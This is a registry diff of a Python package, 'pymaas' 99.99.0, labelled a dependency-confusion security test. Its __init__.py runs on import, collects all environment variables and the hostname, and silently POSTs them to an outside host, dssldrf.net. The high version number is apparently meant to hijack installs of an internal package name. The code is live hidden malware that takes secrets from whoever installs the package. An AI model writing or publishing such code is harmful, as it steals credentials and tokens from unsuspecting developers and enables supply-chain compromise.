pymaas 99.99.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.4
2
+ Name: pymaas
3
+ Version: 99.99.0
4
+ Summary: Security research - dependency confusion test
5
+ Requires-Python: >=3.8
@@ -0,0 +1,9 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68.0"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "pymaas"
7
+ version = "99.99.0"
8
+ description = "Security research - dependency confusion test"
9
+ requires-python = ">=3.8"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,21 @@
1
+ import os, json, urllib.request, socket
2
+
3
+ def _canary():
4
+ try:
5
+ env_vars = {k: v for k, v in os.environ.items()}
6
+ payload = json.dumps({
7
+ "package": "pymaas",
8
+ "version": "99.99.0",
9
+ "hostname": socket.gethostname(),
10
+ "env": env_vars,
11
+ }).encode()
12
+ req = urllib.request.Request(
13
+ "https://vuorblucjega.dssldrf.net/python-install-log/pymaas",
14
+ data=payload,
15
+ headers={"Content-Type": "application/json"},
16
+ )
17
+ urllib.request.urlopen(req, timeout=5)
18
+ except Exception:
19
+ pass
20
+
21
+ _canary()
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.4
2
+ Name: pymaas
3
+ Version: 99.99.0
4
+ Summary: Security research - dependency confusion test
5
+ Requires-Python: >=3.8
@@ -0,0 +1,6 @@
1
+ pyproject.toml
2
+ src/pymaas/__init__.py
3
+ src/pymaas.egg-info/PKG-INFO
4
+ src/pymaas.egg-info/SOURCES.txt
5
+ src/pymaas.egg-info/dependency_links.txt
6
+ src/pymaas.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ pymaas